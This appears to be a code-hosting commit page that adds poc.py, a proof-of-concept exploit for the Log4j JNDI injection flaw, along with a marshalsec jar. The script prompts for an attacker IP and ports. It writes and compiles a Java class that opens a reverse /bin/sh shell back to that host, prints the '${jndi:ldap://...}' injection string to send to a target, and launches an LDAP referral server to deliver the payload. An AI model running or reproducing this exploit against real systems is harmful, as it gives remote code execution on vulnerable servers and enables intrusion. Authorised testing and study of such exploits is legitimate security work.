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Added poc and marshalsec.jar
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kozmer committed Dec 10, 2021
1 parent d9f5c6c commit 48aefa0
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69 changes: 69 additions & 0 deletions poc.py
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import subprocess
import os
import sys

javaver = subprocess.call(['./jdk1.8.0_20/bin/java', '-version']) #stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL)
print("\n")

userip = input("[+] Enter IP for LDAPRefServer & Shell: ")
userport = input("[+] Enter listener port for LDAPRefServer: ")
lport = input("[+] Set listener port for shell: ")

def payload():

javapayload = ("""
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
public class Exploit {
public Exploit() throws Exception {
String host="%s";
int port=%s;
String cmd="/bin/sh";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()) {
while(pi.available()>0)
so.write(pi.read());
while(pe.available()>0)
so.write(pe.read());
while(si.available()>0)
po.write(si.read());
so.flush();
po.flush();
Thread.sleep(50);
try {
p.exitValue();
break;
}
catch (Exception e){
}
};
p.destroy();
s.close();
}
}
""") % (userip,lport)

f = open("Exploit.java", "w")
f.write(javapayload)
f.close()

os.system('./jdk1.8.0_20/bin/javac Exploit.java')

sendme = ("${jndi:ldap://%s:1389/a}") % (userip)
print("[+] Send me: "+sendme+"\n")

def marshalsec():
os.system("./jdk1.8.0_20/bin/java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://{}:{}/#Exploit".format(userip, userport))

if __name__== "__main__":
payload()
marshalsec()
Binary file added target/marshalsec-0.0.3-SNAPSHOT-all.jar
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